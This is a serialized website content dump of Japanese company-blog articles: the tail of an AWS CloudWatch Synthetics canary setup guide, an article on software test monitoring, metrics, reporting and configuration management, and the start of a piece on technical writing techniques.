S3」を押下することで既存S3を選択できます。",[530,10038],{"className":10039,"alt":64,"src":10040,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21164141\u002Fcreate-canary-10-1024x414.png",[11,10042,10043,602,10046,10049],{},[20,10044,10045],{},"ステップ⑪：",[20,10047,10048],{},"Access permissions","で既存ロールを選択、または、Syntheticsにより新しいロールを自動に作成します。",[530,10051],{"className":10052,"alt":64,"src":10053,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21165837\u002Fcreate-canary-11-1024x272.png",[11,10055,10056,10059,10060,10063],{},[20,10057,10058],{},"ステップ⑫："," 残り分はデフォルト値で設定して、",[20,10061,10062],{},"Create canary","を押下します。API Canaryの作成処理は 1 ～ 2 分かかります。",[530,10065],{"className":10066,"alt":64,"src":10067,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21171320\u002Fcreate-canary-12-1024x524.png",[11,10069,10070,10073],{},[20,10071,10072],{},"ステップ⑬："," Canaryが正常に作成された場合、以下のように見えます。",[530,10075],{"className":10076,"alt":64,"src":10077,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21171726\u002Fcreate-canary-13-1024x534.png",[495,10079,10081],{"id":10080},"canaryのグループ作成","Canaryのグループ作成",[11,10083,10084,602,10086],{},[20,10085,9790],{},[57,10087,10090],{"href":10088,"rel":10089},"https:\u002F\u002Fconsole.aws.amazon.com\u002Fcloudwatch\u002F%E3%81%A7CloudWatch%E3%82%B3%E3%83%B3%E3%82%BD%E3%83%BC%E3%83%AB%E3%82%92%E9%96%8B%E3%81%8D%E3%81%BE%E3%81%99%E3%80%82",[61],"https:\u002F\u002Fconsole.aws.amazon.com\u002Fcloudwatch\u002FでCloudWatchコンソールを開きます。",[11,10092,10093,10095,10096,9806,10098,1997],{},[20,10094,9801],{}," ナビゲーションペインで",[20,10097,9805],{},[20,10099,10100],{},"Create Group",[530,10102],{"className":10103,"alt":64,"src":10104,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22085451\u002Fcreate-canary-1-2-1024x396.png",[11,10106,10107,10109],{},[20,10108,9818],{}," グループ名を入力します。",[530,10111],{"className":10112,"alt":64,"src":10113,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22085705\u002Fcreate-canary-2.1.png",[11,10115,10116,10118,10119,8342],{},[20,10117,9859],{}," Canary名前を正しく検索してから、選択してグループに追加します。そして",[20,10120,10100],{},[530,10122],{"className":10123,"alt":64,"src":10124,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22090102\u002Fcreate-canary-2.2.png",[11,10126,10127,10129],{},[20,10128,9944],{}," グループが正常に作成されたら、上記のステップで選択したCanaryがグループに置くことなのでCanaryを管理しやすくなります。",[530,10131],{"className":10132,"alt":64,"src":10133,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22090953\u002Fcreate-canary-2.3-1024x183.png",[495,10135,10137],{"id":10136},"canaryの統計および詳細表示","Canaryの統計および詳細表示",[11,10139,10140],{},"Canary詳細を表示するために、Canary名前をクリックします。",[530,10142],{"className":10143,"alt":64,"src":10144,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22093303\u002Fcreate-canary-2.3-1-1024x183.png",[11,10146,10147,10150],{},[20,10148,10149],{},"Availabilityタブ："," Canary の最近の実行に関する情報が表示されます。実行に成功または失敗したタイムラインや、以下の画像のような問題を表示します。",[530,10152],{"className":10153,"alt":64,"src":10154,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22094838\u002Fcreate-canary-2.5-1024x411.png",[11,10156,10157,10158,10161],{},"実行結果の詳細を参照するために、",[20,10159,10160],{},"Download artifacts","を押下することでファイルをダウンロードします。",[530,10163],{"className":10164,"alt":64,"src":10165,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22100553\u002Fcreate-canary-2.6-1024x318.png",[11,10167,10168,10171],{},[20,10169,10170],{},"Monitoringタブ："," Canaryで公開されたCloudWatchメトリクスのグラフが表示されます。これらのメトリクスの詳細については、以下のリンクを参照してください。",[11,10173,10174],{},[57,10175,10178],{"href":10176,"rel":10177},"https:\u002F\u002Fdocs.aws.amazon.com\u002FAmazonCloudWatch\u002Flatest\u002Fmonitoring\u002FCloudWatch%5C_Synthetics%5C_Canaries%5C_metrics.html",[61],"https:\u002F\u002Fdocs.aws.amazon.com\u002FAmazonCloudWatch\u002Flatest\u002Fmonitoring\u002FCloudWatch\\_Synthetics\\_Canaries\\_metrics.html",[530,10180],{"className":10181,"alt":64,"src":10182,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22102356\u002Fcreate-canary-2.7-1024x528.png",[11,10184,10185,10188],{},[20,10186,10187],{},"Configurationタブ："," Canaryに関する構成およびスケジュール情報が表示されます。",[11,10190,10191,10194],{},[20,10192,10193],{},"Groupsタブ："," Canary が連携られているグループが表示されます。",[11,10196,10197,10200],{},[20,10198,10199],{},"Tagsタブ："," Canaryと連携しているタグが表示されます。",[495,10202,10203],{"id":7231},[20,10204,7231],{},[11,10206,10207],{},"Amazon CloudWatch Syntheticsを使ったCanaryを作成するのは、アプリケーションのエンドポイントを監視をしやすくなります。 アプリケーションへのユーザートラフィックがなくても、エンドユーザーの体験を連続的に検出できます。これにより、エンドユーザーよりも早く問題が検出できて、エンドユーザーに良い体験を提供します。",[495,10209,10210],{"id":5465},[20,10211,5465],{},[11,10213,10214],{},[57,10215,10218],{"href":10216,"rel":10217},"https:\u002F\u002Fdocs.aws.amazon.com\u002FAmazonCloudWatch\u002Flatest\u002Fmonitoring\u002FCloudWatch%5C_Synthetics%5C_Canaries.html",[61],"https:\u002F\u002Fdocs.aws.amazon.com\u002FAmazonCloudWatch\u002Flatest\u002Fmonitoring\u002FCloudWatch\\_Synthetics\\_Canaries.html",[11,10220,10221],{},[57,10222,10223],{"href":10223,"rel":10224},"https:\u002F\u002Fdev.to\u002Faws-builders\u002Fsynthetic-monitoring-using-aws-canaries-cloudwatch-12jb",[61],{"title":64,"searchDepth":65,"depth":65,"links":10226},[10227,10231,10232,10233,10234,10235],{"id":9754,"depth":65,"text":9754,"children":10228},[10229,10230],{"id":9759,"depth":1375,"text":9762},{"id":9771,"depth":1375,"text":9772},{"id":9784,"depth":65,"text":9785},{"id":10080,"depth":65,"text":10081},{"id":10136,"depth":65,"text":10137},{"id":7231,"depth":65,"text":7231},{"id":5465,"depth":65,"text":5465},"2023-01-10","はじめに AWS CloudWatch AWSで実行されるリソースの監視、統計、分析をサポートするサービスです。このサービスは、リアルタイムの実用的な情報を提供して、 RAM、ディスクなどのサービス、インフラストラクチャー、アプリケーションのメモリ領域を監視させます。警告を使用して、アプリケーションのパフォーマンスを最適化して、リソースの使用を管理してします。",{},"\u002Fja\u002Fnews\u002Fgiam-sat-api-su-dung-amazon-cloudwatch-synthetics-canaries",{"title":9749,"description":10237},"ja\u002Fnews\u002Fgiam-sat-api-su-dung-amazon-cloudwatch-synthetics-canaries","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F23162943\u002Flogo-canary-2.png","xxR96k9UTv2uTA_k7svuBhnidSnwB9W6myXYu_R0bxk",{"id":10245,"title":3654,"body":10246,"category":353,"created by":68,"date":10540,"description":10250,"extension":71,"meta":10541,"navigation":73,"path":10542,"sections":75,"seo":10543,"stem":10544,"thumbnail":10545,"__hash__":10546},"content_ja\u002Fja\u002Fnews\u002Fgiam-sat-va-kiem-soat-kiem-thu.md",{"type":8,"value":10247,"toc":10534},[10248,10251,10254,10257,10260,10265,10268,10271,10276,10279,10284,10287,10290,10295,10298,10303,10306,10311,10314,10319,10322,10327,10330,10333,10338,10341,10346,10349,10352,10357,10360,10365,10368,10371,10374,10377,10380,10386,10389,10392,10395,10398,10401,10404,10409,10412,10417,10420,10426,10431,10434,10437,10440,10443,10448,10451,10454,10457,10460,10463,10468,10471,10478,10481,10484,10487,10494,10497,10500,10507,10510,10518,10521,10524,10528],[11,10249,10250],{},"テストの進捗は把握しにくいものです。例えば、夏休みの宿題において「進めている？」「進めているよ」といった会話だけでは、実際にどれくらい進んでいるのか、期限までに終えられるのか、ペースを上げる必要があるのかを正確に知ることはできません。宿題の進行状況と計画との差異を確認しなければ、誰も（本人ですら）実態を把握できません。親が途中で「見せて」と確認し、進捗が遅れていれば頑張らせたり手伝ったりするような対応を取ることがあります。",[11,10252,10253],{},"ソフトウェアテストも同じです。テストプロセスの状況を把握するためにさまざまな指標を設け、それをモニタリングします。そして、得られたモニタリング結果を基にテスト活動をコントロールします。進捗が遅れている場合には、スケジュールの見直しやリソースの追加投入など、必要な対策を講じます。モニタリングとコントロールは、テストを円滑に進めるために欠かせない両輪です。",[11,10255,10256],{},"モニタリングには、データの収集や解析が伴い、それ自体に手間がかかるため、必要な情報のみを効率的に収集することが求められます。また、情報を簡単に収集できる仕組み（自動化など）を導入することで、より円滑にモニタリングを実施できます。",[11,10258,10259],{},"以下では、テストのモニタリングとコントロールについて詳しく解説していきます。",[11,10261,10262],{},[20,10263,10264],{},"識別したリスクが現実化した場合（例えば、リリースの遅延が発生した場合）、テストの優先順位を再評価する",[11,10266,10267],{},"テストの開始時点やプロセスの途中でも、発生すべきではない事象を事前にプロジェクトリスクとしてリストアップしておきます。開発期間中は、それらのリスクが現実化していないかを監視し、現実化した際には、問題解決に向けた対応を行う必要があります。",[11,10269,10270],{},"例えば、複数のアプリケーションを含むシステムの開発において、特定のアプリケーションの開発が遅れ、そのアプリケーションに依存する別のアプリケーションのテストが実施できない可能性をリスクとして挙げていたとします。この遅れがリリース全体の遅延に直結する場合、適切な対策を講じることが求められます。リスクが現実化した際には、テスト可能な他のアプリケーションを優先してテストするなど、テスト計画の優先順位を見直すことで対応します。",[11,10272,10273],{},[20,10274,10275],{},"テスト環境やリソースの利用状況に応じてテストスケジュールを調整する",[11,10277,10278],{},"テスト環境や必要なリソースが利用できなくなった場合、スケジュールを見直します。 例えば、特定の印刷機能をテストするために必要な専用プリンターが予定通りに準備できない場合、そのテストを後回しにし、専用プリンターを必要としない機能のテストを優先して実行します。このような場合には、代替として実行可能なテストケースや、それに必要な機材が揃っているかを事前に把握しておくことが重要です。",[11,10280,10281],{},[20,10282,10283],{},"再作業が必要な場合、テストアイテムが開始基準と終了基準を満たしているかを再確認する",[11,10285,10286],{},"故障が発生した場合、原因となる欠陥を修正した後で中断していたテストを再開します。この際、テストアイテムが開始条件と終了条件を満たしていることを再評価する必要があります。",[11,10288,10289],{},"例えば、ある機能に重大な故障が見つかり、デバッグの結果、多くの欠陥の修正が必要となり、修正の影響がすでに合格したテストケースにまで及ぶことが判明した場合を考えます。このような場合、再作業を開始する基準として、すべての欠陥が修正されていること、テスト環境が整備されていること、そして実行すべきテストケースが明確になっていることが挙げられます。また、終了基準としては、再開前に合格していたテストケースを含め、すべてのケースについて再評価することが求められます。",[660,10291,10293],{"id":10292},"テストで使用するメトリクス",[20,10294,10292],{},[11,10296,10297],{},"では、実際にテスト活動をモニタリングするためのメトリクスについて確認していきます。テスト期間中および終了時に、以下の項目を評価し、次に説明するテストレポートに反映させます。",[11,10299,10300],{},[20,10301,10302],{},"計画したスケジュールや予算に対する進捗",[11,10304,10305],{},"計画されたスケジュールに対して、進捗が予定通りか、それとも前倒しや遅延が発生しているかを確認します。予算についても同様に確認を行います。例えば、特定の作業が予定より遅れていても、他の作業が前倒しで進んでいれば全体に問題はないかもしれませんが、全体の進捗に影響が出る場合には、テストコントロールにフィードバックが必要です。また、スケジュールが早まっている場合には、用意したテストケースが不足していないか、すべてのケースが確実に実行されているかを確認する必要があります。",[11,10307,10308],{},[20,10309,10310],{},"テスト対象の現在の品質",[11,10312,10313],{},"テストケースの実行状況や故障の発生数、欠陥の修正数などのデータを用いて、テスト対象の品質を評価します。例えば、実行されたテストケースの数が少ないにもかかわらず、故障の発生数が多い場合、テストを進めることでさらに多くの故障が発生するリスクがあると判断されるため、テストコントロールへのフィードバックを行います。",[11,10315,10316],{},[20,10317,10318],{},"テストアプローチの十分性",[11,10320,10321],{},"選択したテストアプローチについて、その効果を評価します。例えば、体系的なテストアプローチを採用し、標準的なテスト条件一覧を活用して設計を行った場合に、一覧に含まれないテスト条件から多くの欠陥が見つかった場合、標準のテスト条件一覧の見直しが必要です。このように、テストコントロールを通じてアプローチの改善を図ります。",[11,10323,10324],{},[20,10325,10326],{},"テスト目的に対するテスト活動の効果",[11,10328,10329],{},"計画時に設定したテスト目的に基づき、テストが十分に行われているかを評価します。例えば、テスト目的として「要件、ユーザーストーリー、設計、およびコードといった作業成果物を評価する」ことが含まれている場合、これらの成果物を評価した結果として、テスト実行中に発見される故障の数が減少していることを確認します。このような場合、プロジェクト期間中に作業成果物の評価に関するフィードバックを直接テストコントロールに反映させることは難しいかもしれませんが、将来の開発プロジェクトにおいて活かせる重要な教訓となります。",[11,10331,10332],{},"テスト活動の期間中には、これらの評価を行う必要があります。以下では、代表的なテストメトリクスについて説明します。",[11,10334,10335],{},[20,10336,10337],{},"計画したテストケースの準備が完了した割合",[11,10339,10340],{},"計画に沿ってテストケースが設計・実装され、全体の進捗がどの程度かをモニタリングします。これにより、テスト実行に着手するまでに必要な作業があとどれくらい残っているかを把握します。具体的には、設計予定のテストケースがどれだけ完成しているかという指標を用いる場合があります。また、自動テスト用のスクリプトを作成しながらテスト実行を並行して進める場合、テスト実行の進捗状況とスクリプト作成作業の進捗を比較しながら作業を進めることが求められます。",[11,10342,10343],{},[20,10344,10345],{},"計画したテスト環境の準備が完了した割合",[11,10347,10348],{},"テスト環境の準備状況は、テスト対象によって大きく異なります。",[11,10350,10351],{},"例えば、組込みソフトウェアのテストでは、複数台のハードウェアを調達する作業から準備を始めることが必要な場合があり、これには大きな作業量が伴います。このようなケースでは、準備が必要なすべてのテスト環境に対して、どの程度進捗しているか、またいつ準備が完了するのかが、テスト実行を開始する判断を行うための重要なメトリクスとなります。",[11,10353,10354],{},[20,10355,10356],{},"テストケースの実行",[11,10358,10359],{},"準備したテストケースがどれくらい実行済みかを測定します。これにより、残りのテストケース数を把握できるため、テスト実行に必要な期間を常に見積もることが可能です。ただし、実行したテストケースの数だけを計測しても十分な情報を得ることはできません。各テストケースの実行に必要な時間を考慮して、計算することが重要です。",[11,10361,10362],{},[20,10363,10364],{},"欠陥情報",[11,10366,10367],{},"欠陥情報には、欠陥密度、検出および修正された欠陥の数、故障率、確認テストの結果などが含まれます。これらの情報をもとに、テスト実行の優先順位を再検討したり、必要に応じてリソースを調整するなど、テスト活動を効果的にコントロールすることが可能です。",[11,10369,10370],{},"欠陥密度は以下の式で算出します。",[11,10372,10373],{},"欠陥密度 = 欠陥数 ÷ プログラム規模",[11,10375,10376],{},"プログラム規模の測定には、ソースコードの行数やステートメント数、あるいはファンクションポイント数などを使用します。また、欠陥数の計測やプログラム規模の算出に際しては、プロジェクト全体で統一したルールを設定することが重要です（測定開始時期や測定対象など）。ルールが曖昧だと異なる基準での比較となり、欠陥密度の算出自体が意味を失う可能性があります。",[11,10378,10379],{},"故障率は単位時間あたりの故障発生回数を指しますが、ソフトウェア開発ではハードウェアとは異なる故障の概念が適用されます。例えば、テストケースを実行中の期間における実際のテスト作業時間に対して、どの程度故障が発生したかを計算することが可能です。 ",[660,10381,10383,197],{"id":10382},"テストレポートの目的内容読み手",[20,10384,10385],{},"テストレポートの目的、内容、読み手",[11,10387,10388],{},"テストレポートの主な目的は、テスト活動の結果をステークホルダーに共有すること、また、得られた知見をメンテナンスフェーズや将来のプロジェクトに活用するための情報を提供することです。結果の要約としては、テスト期間中の出来事や終了基準達成日などの具体的なデータが含まれます。次の活動に役立つ情報としては、テスト全般の分析結果や指標が挙げられます。",[11,10390,10391],{},"テストレポートは大きく分けて、テスト中に作成する進捗レポートと、テスト終了後にまとめるサマリーレポートがあります。",[11,10393,10394],{},"テストサマリーレポートでは、最新の進捗レポートや関連情報に基づき、実施内容の要約、計画通りに進行しなかった場合の理由や対応策を記載します。また、終了基準の判定結果を記載する際には、指標を活用します。さらに、リリース時に受け入れるリスクアイテムを列挙し、発生確率や想定される問題への対応を明確にします。例えば、「うるう年の12月31日の予約ができない」といった故障が残る場合、リスクが許容範囲内である理由を説明します。加えて、再利用可能な成果物についても記載します。",[11,10396,10397],{},"進捗レポートやサマリーレポートの具体的な内容は上述の通りですが、プロジェクトの性質や組織の要件、ソフトウェアライフサイクルに応じて適宜調整が必要です。",[11,10399,10400],{},"簡易なソフトウェア更新プロジェクトでは、レポート作成コストを考慮し、効率化が求められます。「はじめに」の部分を共通フォーマット化するなどが有効です。また、自明な事項を省略しつつ、重要な部分、特に残存リスクは必ず報告します。",[11,10402,10403],{},"アジャイル開発では、タスクボードやバーンダウンチャートなどを活用し、進捗レポートを代用します。日々の朝会やスタンドアップミーティングで情報を共有するのが一般的です。レポート内容は読み手に応じて調整します。",[11,10405,10406],{},[20,10407,10408],{},"開発担当者やテストチーム向けのレポート",[11,10410,10411],{},"テスト予定件数や実績件数、欠陥の発生・修正状況を簡潔に示します。多くの欠陥が発生している場合は、それらの修正予定日を具体的に記載し、テスト再開のスケジュールを明確にします。",[11,10413,10414],{},[20,10415,10416],{},"プロジェクトマネージャー向けのレポート",[11,10418,10419],{},"通常は開発者向けの内容で十分ですが、進捗に影響を与える遅延や欠陥の検出がある場合、プロジェクトマネージャーがテストコントロールを行える情報が有用です。例えば、故障の種類やリソース配分の必要性をリストアップします。",[11,10421,10422,10425],{},[20,10423,10424],{},"経営者向けのレポート"," テストプロジェクトの全体状況を簡潔にまとめ、コスト、進捗、品質について「良好」「課題あり」など一言で説明します。課題がある場合、その理由と対処状況も簡潔に記載します。",[11,10427,10428],{},[20,10429,10430],{},"構成管理",[11,10432,10433],{},"構成管理は、Configuration Management (CM) の日本語訳であり、ソフトウェア分野では特にSCM (Software Configuration Management) と呼ばれます。この管理では、部品の管理に加えてバージョンのコントロールやトレーサビリティの確保が重要な役割を果たします。",[11,10435,10436],{},"簡単に言えば、「構成管理とは、特定の時点（バージョン）のプロダクトを構成する部品を一意に識別可能な状態で管理・記録すること」です。",[11,10438,10439],{},"例えば、「ソフトウェアプロダクトAのバージョン1.1」と指定された場合、それに対応する実行ファイルや関連する必要ファイル、ヘルプ、マニュアルなど、プロダクトAの全構成要素を正確に取得できる状態であることが、バージョン管理が適切に行われている状態を意味します。",[11,10441,10442],{},"さらに、プロダクトAを構築するためのソースコード、ビルド環境、テスト環境、ユーザーマニュアル、ヘルプ、その他のパッケージ情報なども一括して管理される必要があります。これらの関連性を追跡できる状態をトレーサビリティと呼びます。",[660,10444,10446],{"id":10445},"テストにおける構成管理",[20,10447,10445],{},[11,10449,10450],{},"ソフトウェアテストにおいて、構成管理はどのような役割を果たすのでしょうか。",[11,10452,10453],{},"例えば、あるテスト手順に必要な入力データが記録されていなかった場合、そのテストを再実行したり次のバージョンで同様のテストを行う際に、テスト担当者がデータを探し回り、何日も無駄にすることがあります。また、あるテストで発見した故障を再現するためのテストスクリプトが明確でなければ、修正後の確認テストがスムーズに行えなくなるでしょう。",[11,10455,10456],{},"テストにおける構成管理では、テスト対象プロダクトの部品（テストアイテム、例：ソースコード）だけでなく、テスト計画、手順、スクリプト、環境、結果などのテストウェアも管理対象に含まれます。これらはすべてバージョンコントロールを行い、互いに関連付けられた状態を維持する必要があります。また、テストアイテム（ソフトウェアプロダクト）とテストウェア間のトレーサビリティの確保も重要です。",[11,10458,10459],{},"しかし、テストウェアの構成管理は通常の開発プロセスから分離されることが多いのが実情です。一部の組織ではドキュメントやソースコードのバージョン管理は行う一方で、テストデータやスクリプトの管理が手付かずという場合があります。構成管理には手間や専門技術が求められるため、テストウェアの管理にリソースを割けないことも原因の一つです。",[11,10461,10462],{},"ただし、古いテスト手順を使って確認テストを行い、欠陥が修正されたと誤解した結果、ユーザー環境で故障が発見されるといったトラブルは避けなければなりません。これを防ぐためにも、テストにおける構成管理は他のソフトウェア構成管理と同等に重要です。次に、テストでの構成管理の対象や具体的な実施手順について説明します。",[11,10464,10465],{},[20,10466,10467],{},"テストウェア構成管理の手順",[11,10469,10470],{},"構成管理を実施する手順は、一般的に以下の通りです。",[199,10472,10473],{},[34,10474,10475],{},[20,10476,10477],{},"構成管理対象を決める",[11,10479,10480],{},"ソフトウェアプロダクトの構成管理では、主にバージョンコントロールが中心となります。",[11,10482,10483],{},"前述の構成管理対象となる成果物の中から、各プロジェクトにおいて何を管理すべきかを選定します。管理対象と管理方法については、プロジェクト開始時（マスターテスト計画作成時）に明確に決めておくことが重要です。",[11,10485,10486],{},"規模の大きいプロジェクトでは、専任者を配置し、ツールを用いて管理を行います。ただし、最初からすべてを網羅的に記録するのは難しいため、プロダクトの規模や特性、組織のリソースに応じて、実現可能な範囲で管理対象を選定することが現実的です。",[199,10488,10489],{"start":65},[34,10490,10491],{},[20,10492,10493],{},"構成管理方法を決める",[11,10495,10496],{},"決定した構成管理対象について、記録方法や使用ツール、専任者の有無、記録の詳細度（例: 記録間隔）などを定めます。特に、頻繁に更新されるテストスクリプトなどに対して、どのタイミングでバージョン管理を行うかや管理ルールを策定します。",[11,10498,10499],{},"例えば、どのテスト手順書に対応するテストスクリプトなのか、どのスクリプトの実行結果なのか、使用したテストデータは何か、といった個別の管理対象間の関連付けを可能にすることが重要です。トレーサビリティを確保しておくことで、特定のソフトウェア機能を改修した際、どのテストを実施する必要があるかがすぐに把握できます。これにより、効果的かつ効率的なテストが実現します。",[199,10501,10502],{"start":1375},[34,10503,10504],{},[20,10505,10506],{},"記録を残す",[11,10508,10509],{},"管理対象や方法が決定し、構成管理を開始したら、バージョン情報などの更新履歴を記録します。これには文書化や構成管理ツールの使用が考えられます。どちらの方法を用いる場合でも、記録が正確であることが重要です。",[199,10511,10513],{"start":10512},4,[34,10514,10515],{},[20,10516,10517],{},"継続的に管理し、参照可能な状態を維持する",[11,10519,10520],{},"プロジェクトの初期段階では記録を徹底していても、進行につれて管理が疎かになることがあります。しかし、管理が不完全だと、構成管理の利点を享受できず、むしろ負担が増加する結果となります。",[11,10522,10523],{},"専任者を配置し、ツールの適切な利用方法を教育し、管理状況を定期的に確認する機会を設けることで、構成管理を継続的に維持しましょう。これにより、必要なときに迅速かつ正確に情報を参照できる体制を確保することができます。",[11,10525,10526],{},[20,10527,6308],{},[11,10529,10530],{},[57,10531,10532],{"href":10532,"rel":10533},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-11-jp",[61],{"title":64,"searchDepth":65,"depth":65,"links":10535},[10536,10537,10539],{"id":10292,"depth":1375,"text":10292},{"id":10382,"depth":1375,"text":10538},"テストレポートの目的、内容、読み手 ",{"id":10445,"depth":1375,"text":10445},"2025-02-18",{},"\u002Fja\u002Fnews\u002Fgiam-sat-va-kiem-soat-kiem-thu",{"title":3654,"description":10250},"ja\u002Fnews\u002Fgiam-sat-va-kiem-soat-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F02\u002F17135210\u002FScreenshot-2025-02-17-135150.png","Yu-p6TB4pK30zKDQYnIdoqe0yRFXhJnsWci9vqr-7BQ",{"id":10548,"title":10549,"body":10550,"category":10660,"created by":68,"date":10661,"description":10554,"extension":71,"meta":10662,"navigation":73,"path":10663,"sections":75,"seo":10664,"stem":10665,"thumbnail":10666,"__hash__":10667},"content_ja\u002Fja\u002Fnews\u002Fgioi-thieu-ve-cac-phuong-phap-trong-technical-writing.md","テクニカルライティングの手法の紹介",{"type":8,"value":10551,"toc":10658},[10552,10555,10558,10561,10566,10569,10572,10575,10578,10581,10584,10587,10592,10595,10598,10601,10604,10607,10610,10613,10618,10621,10624,10627,10630,10633,10636,10639,10642,10649,10651],[11,10553,10554],{},"ブリスウェルにて、コミュニケーションが言葉でもテキストでもよく行われる業務活動です。したがって、私たちがお互いに誤解したり、相手の言いたいことを理解できなかったり、自分の言いたいことを表現できなかったりすることが再三起こります。この問題を改善するために、私たちは一緒にテクニカルライティングの授業に参加しました。",[11,10556,10557],{},"では、テクニカルライティングとは何でしょうか。これは専門的な主題や技術的な情報を、特定の読者に向けて明確に伝える書き方です。より具体的に言えば、日常生活でよく見られる例としては、冷蔵庫や洗濯機などに添付されるユーザーマニュアルです。しかし、これらのマニュアルがよく家の隅に置かれて、無視されているでしょう。つまらないと感じられるため、そういう扱いに納得できますね。",[11,10559,10560],{},"私も、最初は同じ気持ちを持っていましたが、この授業に参加した後、自分のコミュニケーションスキルを向上させるいくつかの手法を身につけました。そのため、家の隅に置いて無視する前に、一緒にこれらの手法に目を通してみましょう。",[11,10562,10563],{},[20,10564,10565],{},"①文書を読者に合わせて適合させる方法",[11,10567,10568],{},"人によって、持っている経験や知識が異なるので、同じの事情に対しての反応も異なります。",[11,10570,10571],{},"例えば、開発者がエラーの原因について、基本的なIT知識を持っていない人に、以下のように説明しました。",[11,10573,10574],{},"　「ファイルパーミッションが755なので、このユーザーがフォルダを作成できない。」",[11,10576,10577],{},"その場合、基本的なIT知識を持っていない人は「755」は何か、なぜ「755」とフォルダを作成することに関係するか困ります。そのため、相手が理解しやすいように、次のように説明できます。",[11,10579,10580],{},"　「システムのアクセス権について、ユーザーがフォルダーのオーナーである場合のみ、フォルダーの配下を作成できます。しかし、現在のユーザーがフォルダーのオーナーではないので、配下を作成できません。」",[11,10582,10583],{},"上記の文は、より長く解説されるが、基本的なIT知識を持っていない人さえエラーの原因を想像できます。",[11,10585,10586],{},"つまり、コミュニケーションを行う際には、相手がどの情報を持っているか、どの情報を持っていないか考慮し、適切な解説方法を選ばなければなりません。",[11,10588,10589],{},[20,10590,10591],{},"②用語の一貫性を保つ方法",[11,10593,10594],{},"例：",[11,10596,10597],{},"設計書にて、ある画面の仕様が以下のように書かれています。",[11,10599,10600],{},"　「システムは、フォルダー「upload_file_2024」に保存されているファイルを取得し、画面に表示する。ユーザーが新規ファイルをアップロードする場合は、アップロードしたファイルをディレクトリ「upload_file_2024」に保存する。」",[11,10602,10603],{},"上記の文章を読むと、フォルダー「upload_file_2024」とディレクトリ「upload_file_2024」が同じ場所なのか混乱するかもしれません。なぜなら、上記の文章が用語の一貫性を保てないというミスをしました。この仕様を以下のように修正してみましょうか。",[11,10605,10606],{},"　「システムは、フォルダー「upload_file_2024」に保存されているファイルを取得し、画面に表示する。ユーザーが新規ファイルをアップロードする場合は、アップロードしたファイルもフォルダー「upload_file_2024」に保存する。」",[11,10608,10609],{},"上記の文章は「フォルダ」という一貫した用語を使用するので、読み手がファイルの取得先とファイルの保存先が同じの場所で、「upload_file_2024」だと理解できます。",[11,10611,10612],{},"つまり、情報を解説する時、使われる用語が一貫しているかどうか必ず確認する必要があります。用語の一貫性を保つことは読み手が情報をもっと理解できるのに役に立つだけではなく、情報の信頼性をより高めます。",[11,10614,10615],{},[20,10616,10617],{},"③不要な言葉を削除する方法",[11,10619,10620],{},"話す時、感情を表す言葉や類義語をよく使いますか。日常会話では感情を表現することが話をより生き生きとさせますが、議論や問題を話し合う場面では自分の意見を簡潔に伝える必要があります。",[11,10622,10623],{},"例えば、　",[11,10625,10626],{},"　「バグの修正は本当にとても遅く、時間がかかったため、お客さんに多くの損害を与えました。」",[11,10628,10629],{},"という代わりに、",[11,10631,10632],{},"　「バグの修正は時間がかかったため、お客さんに多くの損害を与えました。」",[11,10634,10635],{},"というだけでも十分です。",[11,10637,10638],{},"「本当にとても遅く」という表現を言わなくても、相手はバグの修正に時間がかかったことを理解できるでしょう。簡潔な表現により、文章が分かりやすくなり、相手も話の要点を把握しやすくなります。",[11,10640,10641],{},"これまでに、私は役に立つと思うテクニカルライティングの3つの方法を紹介しました。読み終えた後、テクニカルライティングについてもっと知りたくなりますか。興味を持ったら、ブリスウェルの作成した資料を以下のリンクでご覧ください！",[11,10643,10644],{},[57,10645,10648],{"href":10646,"rel":10647},"https:\u002F\u002Fspeakerdeck.com\u002Fbwv\u002Ftekunikaruraiteingutoreningu-burisuuerubetonamu",[61],"Training Technical Writing - ブリスウェルベトナム - Speaker Deck",[11,10650,55],{},[11,10652,10653],{},[57,10654,10657],{"href":10655,"rel":10656},"https:\u002F\u002Fdevelopers.google.com\u002Ftech-writing\u002Foverview",[61],"Technical Writing 